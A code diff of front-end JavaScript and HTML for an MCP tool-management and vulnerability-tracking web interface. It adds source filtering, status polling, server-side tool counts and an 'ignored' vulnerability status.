||||
}
|
||||
|
||||
document.querySelectorAll('#tools-list .tool-item.highlight').forEach(el => {
|
||||
el.classList.remove('highlight');
|
||||
});
|
||||
|
||||
const selector = `#tools-list .tool-item[data-external-mcp="${CSS.escape(mcpName)}"]`;
|
||||
const matchingTools = document.querySelectorAll(selector);
|
||||
if (matchingTools.length === 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
matchingTools[0].scrollIntoView({ behavior: 'smooth', block: 'start' });
|
||||
matchingTools.forEach(el => {
|
||||
el.classList.add('highlight');
|
||||
setTimeout(() => el.classList.remove('highlight'), 2000);
|
||||
});
|
||||
}
|
||||
|
||||
async function clearExternalMcpFilter() {
|
||||
toolsExternalMcpFilter = '';
|
||||
updateExternalMcpCardSelection();
|
||||
renderExternalMcpFilterChip();
|
||||
await loadToolsList(1, toolsSearchKeyword);
|
||||
}
|
||||
|
||||
function updateExternalMcpCardSelection() {
|
||||
document.querySelectorAll('.external-mcp-item').forEach(item => {
|
||||
item.classList.toggle('selected', item.dataset.mcpName === toolsExternalMcpFilter);
|
||||
});
|
||||
}
|
||||
|
||||
function renderExternalMcpFilterChip() {
|
||||
let chip = document.getElementById('tools-source-filter-chip');
|
||||
const toolsActions = document.querySelector('.mcp-tools-panel .tools-actions');
|
||||
if (!toolsActions) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!chip) {
|
||||
chip = document.createElement('div');
|
||||
chip.id = 'tools-source-filter-chip';
|
||||
chip.className = 'tools-source-filter-chip';
|
||||
toolsActions.appendChild(chip);
|
||||
}
|
||||
|
||||
if (!toolsExternalMcpFilter) {
|
||||
chip.style.display = 'none';
|
||||
chip.innerHTML = '';
|
||||
return;
|
||||
}
|
||||
|
||||
const t = typeof window.t === 'function' ? window.t : (k) => k;
|
||||
chip.style.display = 'inline-flex';
|
||||
chip.innerHTML = `
|
||||
<span>${t('mcp.filterBySource', { name: escapeHtml(toolsExternalMcpFilter) })}</span>
|
||||
<button type="button" class="tools-source-filter-clear" onclick="clearExternalMcpFilter()" title="${escapeHtml(t('mcp.clearSourceFilter'))}">×</button>
|
||||
`;
|
||||
}
|
||||
|
||||
// 渲染工具列表分页控件
|
||||
function renderToolsPagination() {
|
||||
const toolsList = document.getElementById('tools-list');
|
||||
@@ -847,14 +1043,15 @@ function handleToolCheckboxChange(toolKey, enabled) {
|
||||
updateToolsStats();
|
||||
}
|
||||
|
||||
function handleToolAlwaysVisibleChange(toolName, alwaysVisible) {
|
||||
const name = (toolName || '').trim();
|
||||
if (!name) return;
|
||||
function handleToolAlwaysVisibleChange(toolKey, alwaysVisible) {
|
||||
const key = (toolKey || '').trim();
|
||||
if (!key) return;
|
||||
if (alwaysVisible) {
|
||||
alwaysVisibleToolNames.add(name);
|
||||
addAlwaysVisibleAliases(key);
|
||||
} else {
|
||||
alwaysVisibleToolNames.delete(name);
|
||||
removeAlwaysVisibleAliases(key);
|
||||
}
|
||||
updateToolsStats();
|
||||
}
|
||||
|
||||
// 全选工具
|
||||
@@ -964,60 +1161,22 @@ async function updateToolsStats() {
|
||||
return checkbox ? checkbox.checked : tool.enabled;
|
||||
}).length;
|
||||
} else {
|
||||
// 没有搜索时,需要获取所有工具的状态
|
||||
// 先使用全局状态映射和当前页的checkbox状态
|
||||
const localStateMap = new Map();
|
||||
|
||||
// 从当前页的checkbox获取状态(如果全局映射中没有)
|
||||
allTools.forEach(tool => {
|
||||
const toolKey = getToolKey(tool);
|
||||
const savedState = toolStateMap.get(toolKey);
|
||||
if (savedState !== undefined) {
|
||||
localStateMap.set(toolKey, savedState.enabled);
|
||||
} else {
|
||||
const checkboxId = `tool-${toolKey.replace(/::/g, '--')}`;
|
||||
const checkbox = document.getElementById(checkboxId);
|
||||
if (checkbox) {
|
||||
localStateMap.set(toolKey, checkbox.checked);
|
||||
} else {
|
||||
// 如果checkbox不存在(不在当前页),使用工具原始状态
|
||||
localStateMap.set(toolKey, tool.enabled);
|
||||
// 使用服务端统计,避免为统计翻页触发多次外部 MCP ListTools
|
||||
totalEnabled = toolsPagination.totalEnabled ?? 0;
|
||||
if (toolStateMap.size > 0) {
|
||||
let delta = 0;
|
||||
allTools.forEach(tool => {
|
||||
const toolKey = getToolKey(tool);
|
||||
const savedState = toolStateMap.get(toolKey);
|
||||
if (savedState === undefined) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// 如果总工具数大于当前页,需要获取所有工具的状态
|
||||
if (totalTools > allTools.length) {
|
||||
// 遍历所有页面获取完整状态
|
||||
let page = 1;
|
||||
let hasMore = true;
|
||||
const pageSize = 100; // 使用较大的页面大小以减少请求次数
|
||||
|
||||
while (hasMore && page <= 10) { // 限制最多10页,避免无限循环
|
||||
const url = `/api/config/tools?page=${page}&page_size=${pageSize}`;
|
||||
const pageResponse = await apiFetch(url);
|
||||
if (!pageResponse.ok) break;
|
||||
|
||||
const pageResult = await pageResponse.json();
|
||||
pageResult.tools.forEach(tool => {
|
||||
// 优先使用全局状态映射,否则使用服务器返回的状态
|
||||
const toolKey = getToolKey(tool);
|
||||
if (!localStateMap.has(toolKey)) {
|
||||
const savedState = toolStateMap.get(toolKey);
|
||||
localStateMap.set(toolKey, savedState ? savedState.enabled : tool.enabled);
|
||||
}
|
||||
});
|
||||
|
||||
if (page >= pageResult.total_pages) {
|
||||
hasMore = false;
|
||||
} else {
|
||||
page++;
|
||||
if (savedState.enabled !== tool.enabled) {
|
||||
delta += savedState.enabled ? 1 : -1;
|
||||
}
|
||||
}
|
||||
});
|
||||
totalEnabled = Math.max(0, totalEnabled + delta);
|
||||
}
|
||||
|
||||
// 计算启用的工具数
|
||||
totalEnabled = Array.from(localStateMap.values()).filter(enabled => enabled).length;
|
||||
}
|
||||
} catch (error) {
|
||||
console.warn('获取工具统计失败,使用当前页数据', error);
|
||||
@@ -1027,7 +1186,7 @@ async function updateToolsStats() {
|
||||
}
|
||||
|
||||
const tStats = typeof window.t === 'function' ? window.t : (k) => k;
|
||||
const pinnedCount = alwaysVisibleToolNames.size;
|
||||
const pinnedCount = countUserAlwaysVisibleTools();
|
||||
statsEl.innerHTML = `
|
||||
<span title="${tStats('mcp.currentPageEnabled')}">✅ ${tStats('mcp.currentPageEnabled')}: <strong>${currentPageEnabled}</strong> / ${currentPageTotal}</span>
|
||||
<span title="${tStats('mcp.totalEnabled')}">📊 ${tStats('mcp.totalEnabled')}: <strong>${totalEnabled}</strong> / ${totalTools}</span>
|
||||
@@ -1535,7 +1694,7 @@ async function saveToolsConfig() {
|
||||
robot_default_agent_mode: currentConfig?.multi_agent?.robot_default_agent_mode || 'eino_single',
|
||||
batch_use_multi_agent: currentConfig?.multi_agent?.batch_use_multi_agent === true,
|
||||
plan_execute_loop_max_iterations: Number(currentConfig?.multi_agent?.plan_execute_loop_max_iterations || 0),
|
||||
tool_search_always_visible_tools: Array.from(alwaysVisibleToolNames).filter(name => !alwaysVisibleBuiltinToolNames.has(name))
|
||||
tool_search_always_visible_tools: getAlwaysVisibleForSave()
|
||||
},
|
||||
tools: []
|
||||
};
|
||||
@@ -1732,6 +1891,32 @@ async function fetchExternalMCPs() {
|
||||
return response.json();
|
||||
}
|
||||
|
||||
// MCP 管理页定时刷新外部 MCP 状态(感知后台断连/自动重连)
|
||||
let externalMcpPollTimer = null;
|
||||
const EXTERNAL_MCP_POLL_INTERVAL_MS = 8000;
|
||||
|
||||
function startExternalMcpPoll() {
|
||||
stopExternalMcpPoll();
|
||||
externalMcpPollTimer = setInterval(function () {
|
||||
const mcpPage = document.getElementById('page-mcp-management');
|
||||
if (!mcpPage || !mcpPage.classList.contains('active')) {
|
||||
stopExternalMcpPoll();
|
||||
return;
|
||||
}
|
||||
if (document.hidden) {
|
||||
return;
|
||||
}
|
||||
loadExternalMCPs().catch(function () { /* ignore */ });
|
||||
}, EXTERNAL_MCP_POLL_INTERVAL_MS);
|
||||
}
|
||||
|
||||
function stopExternalMcpPoll() {
|
||||
if (externalMcpPollTimer) {
|
||||
clearInterval(externalMcpPollTimer);
|
||||
externalMcpPollTimer = null;
|
||||
}
|
||||
}
|
||||
|
||||
// 加载外部MCP列表并渲染
|
||||
async function loadExternalMCPs() {
|
||||
try {
|
||||
@@ -1750,6 +1935,13 @@ async function loadExternalMCPs() {
|
||||
}
|
||||
}
|
||||
|
||||
async function reloadMcpToolsAfterExternalChange(refreshExternal = false) {
|
||||
if (typeof loadToolsList === 'function') {
|
||||
const page = (toolsPagination && toolsPagination.page) ? toolsPagination.page : 1;
|
||||
await loadToolsList(page, toolsSearchKeyword, { refreshExternal });
|
||||
}
|
||||
}
|
||||
|
||||
// 轮询列表直到指定 MCP 的工具数量已更新(每秒拉一次,拿到即停,无固定延迟)
|
||||
// name 为 null 时仅按 maxAttempts 次数轮询,不判断 tool_count
|
||||
async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
||||
@@ -1768,6 +1960,7 @@ async function pollExternalMCPToolCount(name, maxAttempts = 10) {
|
||||
console.warn('轮询工具数量失败:', e);
|
||||
}
|
||||
}
|
||||
await reloadMcpToolsAfterExternalChange(true);
|
||||
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
||||
window.refreshMentionTools();
|
||||
}
|
||||
@@ -1802,8 +1995,15 @@ function renderExternalMCPList(servers) {
|
||||
const transport = server.config.type || server.config.transport || (server.config.command ? 'stdio' : 'http');
|
||||
const transportIcon = transport === 'stdio' ? '⚙️' : '🌐';
|
||||
|
||||
const hasTools = server.tool_count !== undefined && server.tool_count > 0;
|
||||
const cardClickTitle = hasTools
|
||||
? escapeHtml(statusT('mcp.clickToViewTools', { name }))
|
||||
: '';
|
||||
const cardClass = hasTools ? 'external-mcp-item clickable' : 'external-mcp-item';
|
||||
const selectedClass = toolsExternalMcpFilter === name ? ' selected' : '';
|
||||
|
||||
html += `
|
||||
<div class="external-mcp-item">
|
||||
<div class="${cardClass}${selectedClass}" data-mcp-name="${escapeHtml(name)}"${hasTools ? ` onclick="scrollToExternalMCPTools('${escapeHtml(name)}', event)" title="${cardClickTitle}"` : ''}>
|
||||
<div class="external-mcp-item-header">
|
||||
<div class="external-mcp-item-info">
|
||||
<h4>${transportIcon} ${escapeHtml(name)}${server.tool_count !== undefined && server.tool_count > 0 ? `<span class="tool-count-badge" title="${escapeHtml(statusT('mcp.toolCount'))}">🔧 ${server.tool_count}</span>` : ''}</h4>
|
||||
@@ -1822,9 +2022,9 @@ function renderExternalMCPList(servers) {
|
||||
<button class="btn-small btn-danger" onclick="deleteExternalMCP('${escapeHtml(name)}')" title="${statusT('mcp.deleteConfig')}" ${status === 'connecting' ? 'disabled' : ''}>🗑 ${statusT('common.delete')}</button>
|
||||
</div>
|
||||
</div>
|
||||
${status === 'error' && server.error ? `
|
||||
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: #fee; border-left: 3px solid #f44; border-radius: 4px; color: #c33; font-size: 0.875rem;">
|
||||
<strong>❌ ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
|
||||
${(status === 'error' || status === 'disconnected') && server.error ? `
|
||||
<div class="external-mcp-error" style="margin: 12px 0; padding: 12px; background: ${status === 'error' ? '#fee' : '#fff8e6'}; border-left: 3px solid ${status === 'error' ? '#f44' : '#e6a700'}; border-radius: 4px; color: ${status === 'error' ? '#c33' : '#8a6d00'}; font-size: 0.875rem;">
|
||||
<strong>${status === 'error' ? '❌' : '⚠️'} ${statusT('mcp.connectionErrorLabel')}</strong>${escapeHtml(server.error)}
|
||||
</div>` : ''}
|
||||
<div class="external-mcp-item-details">
|
||||
<div>
|
||||
@@ -1866,6 +2066,7 @@ function renderExternalMCPList(servers) {
|
||||
}
|
||||
html += '</div>';
|
||||
list.innerHTML = html;
|
||||
updateExternalMcpCardSelection();
|
||||
}
|
||||
|
||||
// 渲染外部MCP统计信息
|
||||
@@ -2226,6 +2427,7 @@ async function toggleExternalMCP(name, currentStatus) {
|
||||
}
|
||||
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
||||
pollExternalMCPToolCount(name, 10);
|
||||
await reloadMcpToolsAfterExternalChange(true);
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -2238,6 +2440,7 @@ async function toggleExternalMCP(name, currentStatus) {
|
||||
} else {
|
||||
// 停止操作,直接刷新
|
||||
await loadExternalMCPs();
|
||||
await reloadMcpToolsAfterExternalChange(false);
|
||||
// 刷新对话界面的工具列表
|
||||
if (typeof window !== 'undefined' && typeof window.refreshMentionTools === 'function') {
|
||||
window.refreshMentionTools();
|
||||
@@ -2289,6 +2492,7 @@ async function pollExternalMCPStatus(name, maxAttempts = 30) {
|
||||
}
|
||||
// 轮询直到该 MCP 工具数量已更新(每秒拉一次,无固定延迟)
|
||||
pollExternalMCPToolCount(name, 10);
|
||||
await reloadMcpToolsAfterExternalChange(true);
|
||||
return;
|
||||
} else if (status === 'error' || status === 'disconnected') {
|
||||
// 连接失败,刷新列表并显示错误
|
||||
|
||||
@@ -33,7 +33,8 @@ function vulnStatusLabel(code) {
|
||||
open: 'vulnerabilityPage.statusOpen',
|
||||
confirmed: 'vulnerabilityPage.statusConfirmed',
|
||||
fixed: 'vulnerabilityPage.statusFixed',
|
||||
false_positive: 'vulnerabilityPage.statusFalsePositive'
|
||||
false_positive: 'vulnerabilityPage.statusFalsePositive',
|
||||
ignored: 'vulnerabilityPage.statusIgnored'
|
||||
};
|
||||
return m[code] ? vulnT(m[code]) : code;
|
||||
}
|
||||
|
||||
@@ -1613,6 +1613,7 @@
|
||||
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
|
||||
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
|
||||
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
|
||||
<option value="ignored" data-i18n="vulnerabilityPage.statusIgnored">已忽略</option>
|
||||
</select>
|
||||
</label>
|
||||
</div>
|
||||
@@ -1811,6 +1812,7 @@
|
||||
<option value="confirmed" data-i18n="vulnerabilityPage.statusConfirmed">已确认</option>
|
||||
<option value="fixed" data-i18n="vulnerabilityPage.statusFixed">已修复</option>
|
||||
<option value="false_positive" data-i18n="vulnerabilityPage.statusFalsePositive">误报</option>
|
||||
<option value="ignored" data-i18n="vulnerabilityPage.statusIgnored">已忽略</option>
|
||||
</select>
|
||||
</label>
|
||||
<div class="vulnerability-filter-actions">
|
||||
@@ -3943,6 +3945,7 @@
|
||||
<option value="confirmed" data-i18n="vulnerabilityModal.statusConfirmed">已确认</option>
|
||||
<option value="fixed" data-i18n="vulnerabilityModal.statusFixed">已修复</option>
|
||||
<option value="false_positive" data-i18n="vulnerabilityModal.statusFalsePositive">误报</option>
|
||||
<option value="ignored" data-i18n="vulnerabilityModal.statusIgnored">已忽略</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
|
||||
Reference in New Issue
Block a user